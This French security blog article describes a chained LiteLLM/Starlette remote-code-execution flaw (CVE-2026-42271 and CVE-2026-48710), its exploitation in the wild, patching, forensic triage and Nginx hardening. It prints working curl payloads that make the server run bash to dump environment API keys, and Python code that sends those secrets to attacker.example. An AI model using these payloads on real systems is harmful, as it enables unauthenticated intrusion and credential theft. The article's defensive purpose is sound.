Le 8 juin 2026, la CISA a ajouté CVE-2026-42271 à son catalogue KEV (Known Exploited Vulnerabilities). La faille concerne LiteLLM, le proxy open source qui unifie plus de 100 fournisseurs LLM derrière une API compatible OpenAI. Enchaînée avec CVE-2026-48710, une vulnérabilité dans Starlette, elle ouvre la porte à une exécution de code arbitraire complètement non authentifiée, avec un score CVSS combiné de 10.0. Résultat : toutes les versions de LiteLLM entre 1.74.2 et 1.83.6 permettent à n’importe qui, sans clé API, de lancer des commandes shell sur le serveur hôte et d’exfiltrer l’ensemble des credentials enregistrés (clés OpenAI, Anthropic, Mistral, AWS Bedrock, etc.).

Si votre équipe utilise LiteLLM en interne pour centraliser vos appels LLM, ou si vous exposez une instance sur un VPN ou un sous-domaine, cet article vous concerne directement. Nous allons détailler la mécanique de l’attaque, les indicateurs de compromission et le plan de remédiation complet.

LiteLLM AI Gateway : le proxy universel de 50 000 équipes

LiteLLM est un serveur proxy open source conçu pour normaliser les appels vers plus de 100 APIs LLM (OpenAI, Anthropic, Mistral, AWS Bedrock, Azure OpenAI, Cohere, Ollama…) derrière une interface unique compatible avec le standard OpenAI. Il propose aussi un tableau de bord de supervision, de la gestion de budgets par utilisateur ou par équipe, du rate limiting, du logging vers des backends comme LangSmith ou Langfuse, et depuis 2025 une couche MCP (Model Context Protocol) pour brancher des outils externes aux agents.

La popularité de LiteLLM a explosé avec la généralisation des agents IA : de nombreuses équipes l’utilisent pour mutualiser les credentials LLM, contrôler les coûts et router dynamiquement les requêtes vers le modèle le moins cher disponible. C’est précisément cette centralisation des clés qui fait de LiteLLM une cible de premier choix pour les attaquants.

# Démarrer LiteLLM avec Docker (configuration typique en production)
docker run -d   --name litellm-gateway   -p 4000:4000   -e OPENAI_API_KEY=$OPENAI_API_KEY   -e ANTHROPIC_API_KEY=$ANTHROPIC_API_KEY   -e LITELLM_MASTER_KEY=$LITELLM_MASTER_KEY   -v $(pwd)/litellm_config.yaml:/app/config.yaml   ghcr.io/berriai/litellm:main-stable   --config /app/config.yaml --port 4000

# Vérifier la version déployée
docker inspect litellm-gateway | grep -i image
# Résultat attendu pour une instance patchée :
# "Image": "ghcr.io/berriai/litellm:1.83.7-stable"

Avant de détailler la faille, une vérification rapide s’impose : si votre image Docker pointe vers une version antérieure à 1.83.7, vous êtes vulnérable.

CVE-2026-42271 : injection de commandes via les endpoints MCP test

La faille réside dans deux endpoints ajoutés pour faciliter la configuration des serveurs MCP stdio depuis le tableau de bord administrateur : POST /mcp-rest/test/connection et POST /mcp-rest/test/tools/list. Ces routes permettent de tester un serveur MCP avant de le sauvegarder. Pour un serveur MCP en mode stdio (le plus courant), cela signifie que LiteLLM spawne un sous-processus local avec les paramètres fournis dans le corps de la requête : command, args et env.

Le problème : avant la version 1.83.7, aucune validation n’était appliquée sur ces champs. N’importe quel titulaire d’une clé API (même non administrateur) pouvait envoyer un payload arbitraire et faire exécuter n’importe quelle commande système avec les droits du processus LiteLLM.

# Payload d'exploitation de CVE-2026-42271 (version authentifiée)
# AVERTISSEMENT : fourni uniquement à des fins de test de sécurité défensif
curl -X POST https://your-litellm-host:4000/mcp-rest/test/connection   -H "Authorization: Bearer YOUR_API_KEY"   -H "Content-Type: application/json"   -d '{
    "server_name": "poc",
    "server_type": "stdio",
    "server_config": {
      "command": "bash",
      "args": ["-c", "id; cat /proc/1/environ | tr '' 'n' | grep -i key"],
      "env": {}
    }
  }'

# Réponse typique sur une instance vulnérable :
# uid=0(root) gid=0(root) groups=0(root)
# OPENAI_API_KEY=sk-...
# ANTHROPIC_API_KEY=sk-ant-...

La commande ci-dessus, sur une instance vulnérable, renvoie l’identité du processus (souvent root dans Docker sans user namespace) et liste toutes les variables d’environnement, y compris les clés API injectées au démarrage. Le CVSS de cette faille seule est de 8.7, qualifiée de « High ». Mais ce n’est que la première partie de l’attaque.

CVE-2026-48710 : le bypass Starlette qui supprime l’authentification

LiteLLM est construit sur Starlette, un framework ASGI Python. CVE-2026-48710, surnommée « BadHost », est une vulnérabilité dans la validation de l’en-tête Host de Starlette. En envoyant un en-tête Host malformé, un attaquant peut contourner les mécanismes de vérification du domaine autorisé et tromper le middleware d’authentification de LiteLLM, qui ne vérifie plus la validité de la clé API.

Enchaîner CVE-2026-48710 avec CVE-2026-42271 donne une attaque entièrement non authentifiée : pas besoin de clé API, pas besoin d’un compte, juste une connexion réseau vers le port 4000.

# Exploitation enchaînée : bypass auth + RCE non authentifié
# CVE-2026-48710 (BadHost) + CVE-2026-42271 (MCP command injection)
curl -X POST https://your-litellm-host:4000/mcp-rest/test/connection   -H "Host: localhost.internalevil.com"   -H "Content-Type: application/json"   -d '{
    "server_name": "exfil",
    "server_type": "stdio",
    "server_config": {
      "command": "python3",
      "args": ["-c",
        "import os,urllib.request;          keys=[(k,v) for k,v in os.environ.items() if 'key' in k.lower()];          urllib.request.urlopen('https://attacker.example/collect?'+str(keys))"
      ],
      "env": {}
    }
  }'

Ce payload, enchaîné avec la manipulation du header Host pour contourner l’authentification, permet à un attaquant externe d’exfiltrer silencieusement tous les secrets vers un serveur contrôlé. L’attaque ne laisse qu’une entrée dans les logs applicatifs LiteLLM, qui peut passer inaperçue si la surveillance est insuffisante. Le score CVSS combiné des deux failles enchaînées est de 10.0 : le maximum absolu.

Exploitation active : ce que les attaquants font concrètement

Selon les équipes de Horizon3.ai et de la Cloud Security Alliance, les attaques observées dans la nature suivent un pattern en quatre étapes. D’abord, un scan automatisé des ports 4000 et 8080 (ports par défaut de LiteLLM) sur les plages IP cloud (AWS, GCP, Azure, OVH). Ensuite, un test rapide de la version via GET /health ou GET /version. Puis une tentative d’exploitation avec le payload BadHost pour vérifier si l’authentification est bypassable. Enfin, l’exfiltration des clés API et, dans certains cas, l’installation d’un reverse shell.

# Vérifier si votre instance expose le endpoint vulnérable
# (test défensif, sans payload malveillant)
curl -sv https://your-litellm-host:4000/health 2>&1 | grep "< HTTP"
# HTTP/1.1 200 OK = instance joignable

curl -s https://your-litellm-host:4000/version
# {"version": "1.83.5"} = VULNERABLE, patcher immédiatement

# Vérifier si les endpoints sont accessibles sans auth
curl -s -o /dev/null -w "%{http_code}"   -X POST https://your-litellm-host:4000/mcp-rest/test/connection   -H "Content-Type: application/json"   -d '{"server_name":"test","server_type":"stdio","server_config":{"command":"echo","args":["ok"],"env":{}}}'
# 403 ou 422 = patché. 200 = vulnérable.

Les recherches de Rescana indiquent que les attaquants privilégient l’exploitation des clés OpenAI et AWS Bedrock pour monter des opérations de cryptomining LLM ou revendre l’accès à des plateformes de jailbreak. Un incident documenté par CybelAngel a impliqué une instance LiteLLM exposée sur un sous-domaine d’une PME française, avec 47 000 dollars de coûts OpenAI générés en 72 heures après compromission.

Pour les développeurs qui utilisent LiteLLM dans leurs pipelines d’agents IA, cette faille illustre un principe souvent négligé : le rapport Gravitee 2026 sur la sécurité des agents IA montrait que 88 % des entreprises avaient subi un incident lié aux agents, souvent via des gateways LLM mal sécurisés. LiteLLM est exactement ce type de composant infrastructure que les équipes déploient vite et oublient de surveiller.

Patch v1.83.7 : ce qui change dans le code

La version 1.83.7, publiée le 8 mai 2026 (avant l’entrée au KEV CISA), apporte trois correctifs distincts. Le premier est le plus important : les endpoints /mcp-rest/test/connection et /mcp-rest/test/tools/list requièrent désormais le rôle PROXY_ADMIN (et non plus une simple clé API utilisateur). Le deuxième correctif introduit une constante MCP_STDIO_ALLOWED_COMMANDS qui restreint les valeurs acceptées dans le champ command à une liste blanche : npx, uvx, python, python3, node, docker et deno. Le troisième correctif s’applique à Starlette 1.0.1, qui corrige la validation du header Host (CVE-2026-48710).

# Migrer vers LiteLLM v1.83.7 avec Docker Compose
# docker-compose.yml à mettre à jour

version: "3.8"
services:
  litellm:
    image: ghcr.io/berriai/litellm:1.83.7-stable   # pinner la version exacte
    ports:
      - "4000:4000"
    environment:
      LITELLM_MASTER_KEY: "${LITELLM_MASTER_KEY}"
      OPENAI_API_KEY: "${OPENAI_API_KEY}"
      ANTHROPIC_API_KEY: "${ANTHROPIC_API_KEY}"
    volumes:
      - ./config.yaml:/app/config.yaml
    restart: unless-stopped
    # Bonnes pratiques additionnelles :
    security_opt:
      - no-new-privileges:true
    read_only: true
    tmpfs:
      - /tmp

# Commandes de mise à jour
docker compose pull litellm
docker compose up -d litellm
docker compose exec litellm litellm --version
# Attendu : 1.83.7

Si vous déployez LiteLLM via pip (environnements sans Docker), la mise à jour est aussi simple que pip install --upgrade litellm==1.83.7 suivie d’un redémarrage du service. Pour Starlette, assurez-vous que votre requirements.txt ou pyproject.toml spécifie au moins starlette>=1.0.1.

Une note importante : LiteLLM maintient en parallèle une version « nightly » et une version « stable ». Vérifiez que vous tirez bien le tag stable et non main-latest, qui peut inclure des modifications non encore testées en production. La leçon à retenir pour la sécurité des gateways IA est la même que pour les proxies classiques : pinner les versions, activer les mises à jour automatiques de sécurité, et ne jamais exposer un port d’administration sur une interface publique. Ce principe vaut aussi pour les failles comme DuneSlide (CVE-2026-50548) dans Cursor IDE, où l’injection de prompt via un outil externe suffisait à déclencher un RCE.

Détecter et nettoyer une instance compromise

Si votre instance tourne sur une version vulnérable et que vous avez des doutes sur une compromission, voici la procédure de forensic minimale à exécuter avant de mettre à jour.

#!/bin/bash
# Script de triage forensic pour LiteLLM compromis
# Exécuter en root ou avec sudo sur le serveur hôte

CONTAINER="litellm-gateway"
LOGFILE="litellm-forensic-$(date +%Y%m%d-%H%M%S).log"

echo "=== Triage forensic LiteLLM ===" | tee $LOGFILE

# 1. Inspecter les processus lancés par le container
echo "[+] Processus dans le container :" | tee -a $LOGFILE
docker exec $CONTAINER ps auxf 2>/dev/null | tee -a $LOGFILE

# 2. Rechercher des connexions sortantes suspectes
echo "[+] Connexions réseau actives :" | tee -a $LOGFILE
docker exec $CONTAINER ss -tnp 2>/dev/null | tee -a $LOGFILE

# 3. Vérifier les logs LiteLLM pour les appels suspects aux endpoints MCP test
echo "[+] Logs appels /mcp-rest/test/ :" | tee -a $LOGFILE
docker logs $CONTAINER 2>&1 | grep -E "(mcp-rest|test/connection|test/tools)" | tail -100 | tee -a $LOGFILE

# 4. Rechercher des fichiers modifiés récemment dans le container
echo "[+] Fichiers modifiés dernières 48h :" | tee -a $LOGFILE
docker exec $CONTAINER find /app /tmp /var/tmp -newer /proc/1 -type f 2>/dev/null | tee -a $LOGFILE

# 5. Exporter et inspecter les variables d'environnement
echo "[+] Variables env (clés masquées) :" | tee -a $LOGFILE
docker inspect $CONTAINER --format '{{range .Config.Env}}{{println .}}{{end}}'   | sed 's/=.*/=REDACTED/' | tee -a $LOGFILE

echo "[!] Rapport sauvegardé dans : $LOGFILE"
echo "[!] Faire une rotation de TOUTES les clés API si compromission confirmée."

Si les logs montrent des appels vers /mcp-rest/test/connection avec des payloads command: bash ou command: sh, considérez l’instance comme compromise. La priorité absolue est alors la rotation de toutes les clés API stockées dans l’environnement du processus, avant même d’appliquer le patch.

Sécuriser un AI Gateway en production

Au-delà du patch immédiat, cette faille est l’occasion de revoir l’architecture de sécurité autour des gateways LLM. Voici les pratiques recommandées issues des guides publiés par Horizon3.ai et la Cloud Security Alliance, adaptées à un contexte de production.

# Configuration Nginx pour isoler LiteLLM derrière un reverse proxy
# /etc/nginx/sites-available/litellm

server {
    listen 443 ssl http2;
    server_name litellm-internal.mondomaine.com;

    # Certificat TLS (Let's Encrypt ou cert interne)
    ssl_certificate     /etc/ssl/certs/litellm.crt;
    ssl_certificate_key /etc/ssl/private/litellm.key;

    # Interdire l'accès aux endpoints admin depuis l'extérieur
    location ~ ^/(mcp-rest|ui|spend|config|user|team|key/generate) {
        # Autoriser uniquement le réseau interne (CIDR de votre VPC/LAN)
        allow 10.0.0.0/8;
        allow 192.168.0.0/16;
        deny all;
        proxy_pass http://127.0.0.1:4000;
    }

    # Endpoint de complétion : accessible selon vos règles métier
    location /v1/ {
        proxy_pass http://127.0.0.1:4000;
        proxy_set_header Host $host;          # forcer le Host correct
        proxy_set_header X-Real-IP $remote_addr;
        # Rate limiting : 60 requêtes/minute par IP
        limit_req zone=litellm burst=20 nodelay;
    }
}

# Définir la zone de rate limiting dans nginx.conf
# limit_req_zone $binary_remote_addr zone=litellm:10m rate=60r/m;

Quatre recommandations complémentaires méritent d’être appliquées indépendamment de la version de LiteLLM. La première est le principe du moindre privilège : les clés API LLM stockées dans LiteLLM ne doivent avoir que les permissions strictement nécessaires (pas de billing, pas de création d’organisation). La deuxième est la segmentation réseau : LiteLLM ne devrait jamais être exposé directement sur internet, même avec une authentification par clé. La troisième est la rotation automatique des clés : sur AWS Secrets Manager ou HashiCorp Vault, avec une rotation au moins mensuelle. La quatrième est la surveillance des coûts : des alertes de facturation à 150 % du budget habituel peuvent détecter une exfiltration de clé bien avant un audit de sécurité.

Ces principes s’appliquent à toute infrastructure d’agents IA : notre guide sur le déploiement d’agents IA en production revient en détail sur la gestion des credentials, le circuit breaker et les patterns d’isolation recommandés pour les pipelines agentiques.

Ce que cette faille révèle sur la sécurité des outils IA en 2026

CVE-2026-42271 n’est pas un incident isolé. LiteLLM a déjà publié en avril 2026 un bulletin de sécurité sur CVE-2026-30623, une injection de commandes via le SDK MCP d’Anthropic, avec un mécanisme très similaire. La surface d’attaque des gateways LLM grandit en même temps que leur adoption, et les équipes de sécurité n’ont pas encore les réflexes correspondants : les proxies LLM sont souvent traités comme des outils de développement internes, sans les mêmes rigueurs que les API métier exposées.

La CISA l’a reconnu explicitement en intégrant CVE-2026-42271 au catalogue KEV avec une obligation de remédiation à 14 jours pour les agences fédérales américaines. Pour les équipes privées, la recommandation est la même : patcher, isoler, surveiller. Le fait que la vulnérabilité ait été corrigée en mai 2026 et que des milliers d’instances restent vulnérables fin juin illustre le fossé entre la publication d’un patch et son déploiement effectif. C’est précisément pour combler ce fossé que les outils de scan de surface d’attaque automatisés, comme ceux intégrés aux pipelines CI/CD, deviennent indispensables dans tout environnement qui s’appuie sur des composants IA tiers.

Sources

G
WP Admin Lab

Architecte web full-stack. WordPress, performance, data et sécurité. Notes de terrain, tests reproductibles et retours d'expérience.